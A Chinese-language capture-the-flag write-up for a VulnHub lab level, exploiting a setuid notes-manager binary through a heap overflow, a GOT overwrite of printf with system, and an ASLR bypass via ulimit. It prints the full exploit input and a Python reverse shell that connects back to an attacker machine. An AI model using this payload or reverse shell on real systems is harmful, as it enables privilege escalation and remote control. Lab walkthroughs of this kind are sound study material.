Shell$ ls
drwxr-x--- 4 level1 level1 4096 Mar 16 12:49 .
drwxr-xr-x 7 root root 4096 Jan 3 21:56 ..
-rwsr-xr-x 1 level2 level1 9052 Jan 4 08:58 level2
-rw-r--r-- 1 level1 level1 145 Jan 4 09:00 level2_readme.txt
Shell$ cat level2_readme.txt
Start this level with socat 'socat TCP4-listen:53121,reuseaddr,fork EXEC:./level2' and use netcat or whatever to communicate with it.
Have fun!
level2有設sticky bit,看起來要透過它取得level2的權限
提示說要用socat執行level2,不過還是先試試能不能直接執行
level1@pb0x:~$ ./level2
[*] Notes manager - 1.0
[*] Type help for the command list
> help
Command list:
Create new note : new
Set note text : set
Show note text : show
Delete note : del
Show commands : help
Exit : exit
>
看起來像個筆記本程式,有新增、編輯、顯示、刪除的功能
操作之後會發現在編輯(set)時,輸入過長的字元後,要讀取下一個編號的內容會造成crash
[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Note 0 set
> [!] Invalid command, try help
> > read 1
[!] Invalid command, try help
> show
> id: 1
Segmentation fault
接著進gdb重現一下當機,看看有沒有可以利用的部分
level1@pb0x:~$ gdb -q level2
Reading symbols from /home/level1/level2...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/level1/level2
[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Note 0 set
> [!] Invalid command, try help
> show
> id: 1
Program received signal SIGSEGV, Segmentation fault.
0xb7606e59 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) i r
eax 0x0 0
ecx 0xffffffff -1
edx 0x0 0
ebx 0xb7768ff4 -1216966668
esp 0xbf869770 0xbf869770
ebp 0xbf869d28 0xbf869d28
esi 0xb7769a20 -1216964064
edi 0x41414141 1094795585
eip 0xb7606e59 0xb7606e59 <vfprintf+9081>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
這邊可以看到edi被我們的輸入蓋過去了,繼續分析一下level2
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x08048720 frame_dummy
0x0804874c show_welcome
0x08048779 show_help
0x080487d5 stripnewline
0x08048821 create_struct
0x0804887e free_struct
0x0804889f get_empty_slot
0x080488dd slot_exists
找到了幾個像是自定義的函式,大概看一下之後發現create_struct裡面有呼叫malloc,繼續深入了解一下
(gdb) disas create_struct
Dump of assembler code for function create_struct:
0x08048821 <+0>: push %ebp
0x08048822 <+1>: mov %esp,%ebp
0x08048824 <+3>: sub $0x28,%esp
0x08048827 <+6>: movl $0x8,(%esp)
0x0804882e <+13>: call 0x80485e0 <malloc@plt>
0x08048833 <+18>: mov %eax,-0xc(%ebp)
0x08048836 <+21>: mov -0xc(%ebp),%eax
0x08048839 <+24>: movl $0x40,(%eax)
0x0804883f <+30>: mov -0xc(%ebp),%eax
0x08048842 <+33>: mov (%eax),%eax
0x08048844 <+35>: mov %eax,(%esp)
0x08048847 <+38>: call 0x80485e0 <malloc@plt>
0x0804884c <+43>: mov %eax,%edx
0x0804884e <+45>: mov -0xc(%ebp),%eax
0x08048851 <+48>: mov %edx,0x4(%eax)
0x08048854 <+51>: mov -0xc(%ebp),%eax
0x08048857 <+54>: mov (%eax),%eax
0x08048859 <+56>: mov -0xc(%ebp),%edx
0x0804885c <+59>: mov 0x4(%edx),%edx
0x0804885f <+62>: and $0xfffff000,%edx
0x08048865 <+68>: movl $0x7,0x8(%esp)
0x0804886d <+76>: mov %eax,0x4(%esp)
0x08048871 <+80>: mov %edx,(%esp)
0x08048874 <+83>: call 0x8048570 <mprotect@plt>
0x08048879 <+88>: mov -0xc(%ebp),%eax
0x0804887c <+91>: leave
0x0804887d <+92>: ret
End of assembler dump.
malloc的部分,看起來是建立了兩個連續的空間
第一次建立的大小是8 bytes,第二次是64 bytes,8 bytes中的4個bytes會用來指向64 bytes的所在位址
最後則是作者佛心來著(?),用mprotect把64 bytes的區塊設定成可讀可寫可執行的狀態????
接下來驗證一下是不是真的有辦法修改這塊記憶體
(gdb) r
Starting program: /home/level1/level2
[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[*] Note 0 set
> show
> id: 1
Program received signal SIGSEGV, Segmentation fault.
0xb75c2e59 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x $edi
0x63413563: Cannot access memory at address 0x63413563
root@kali:~/_Sec/vulnhub/pandora# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x63413563
[*] Exact match at offset 76
用pattern_create.rb和pattern_offset.rb找出長度之後,接著來試試看能不能用set 1去修改set 0時覆蓋過去的記憶體位址
再來要找一個這支程式很常用到的函式,去修改他指向的記憶體位址,等這個函式被調用的時候就會去執行我們指定的程式碼區段
而這可憐的函式就決定是printf了,我們有PLT和GOT兩個入口可以選擇,不過檢查一下會發現PLT的區塊是唯讀的,那就只剩下GOT的printf可以用了
level1@pb0x:~$ objdump -h level2
12 .plt 00000110 08048550 08048550 00000550 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
level1@pb0x:~$ objdump -R level2
level2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804a370 R_386_JUMP_SLOT printf
找到GOT的位置後,再來要替換GOT指向的記憶體位址
這邊選擇了system,使用ret2libc的方式,直接呼叫system去執行程式
在替換的過程遇到了點問題,因為ASLR是開著的,所以system的位址每次都會變動
而且level1沒有權限去改/proc/sys/kernel/randomize_va_space的內容
最後靠著google大神找到了一個神奇的解法,在32-bit的機器上只要下一個指令就能暫時無視ASLR了
level1@pb0x:~$ ldd level2
linux-gate.so.1 => (0xb7795000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e4000)
/lib/ld-linux.so.2 (0xb7796000)
level1@pb0x:~$ ldd level2
linux-gate.so.1 => (0xb774d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759c000)
/lib/ld-linux.so.2 (0xb774e000)
level1@pb0x:~$ ldd level2
linux-gate.so.1 => (0xb7724000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7573000)
/lib/ld-linux.so.2 (0xb7725000)
level1@pb0x:~$ ulimit -s 9999999999
level1@pb0x:~$ ldd level2
linux-gate.so.1 => (0x40022000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40029000)
/lib/ld-linux.so.2 (0x40000000)
level1@pb0x:~$ ldd level2
linux-gate.so.1 => (0x40022000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40029000)
/lib/ld-linux.so.2 (0x40000000)
解除ASLR之後,在gdb就能找到system的位址了
(gdb) p system
$1 = {<text variable, no debug info>} 0x40068460 <system>
最後再把完整的exploit拼起來
level1@pb0x:~$ python -c 'print "new\nnew\nset\n0\n"+"A"*76+"\x70\xa3\x04\x08"+"\nset\n1\n"+"\x60\x84\x06\x40"+"\nexit\n"' > input.hack
level1@pb0x:~$ ./level2 < input.hack
[*] Notes manager - 1.0
[*] Type help for the command list
> [*] New note created with id 0
> [*] New note created with id 1
> > id: > text(32 max): [*] Note 0 set
> > id: > text(32 max): sh: 1: [*]: not found
> [*] Goodbye
看來餵給system的檔名為”[*]“,再來只要建立一個名為[*]檔案,裡面看要怎麼操作都可以
這邊寫一個reverse shell接回Kali Linux。等Kali把listen port架起來後,執行level2就能拿到level2的權限囉
level1@pb0x:~$ cat [*]
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.128",9922))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
level1@pb0x:~$ ./level2 < input.hack
[*] Notes manager - 1.0
[*] Type help for the command list
> [*] New note created with id 0
> [*] New note created with id 1
> > id: > text(32 max): [*] Note 0 set
> > id: > text(32 max):
root@kali:~# nc -lvp 9922
listening on [any] 9922 ...
192.168.2.158: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.2.128] from (UNKNOWN) [192.168.2.158] 50702
$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1002(level2),1001(level1)
$ whoami
level2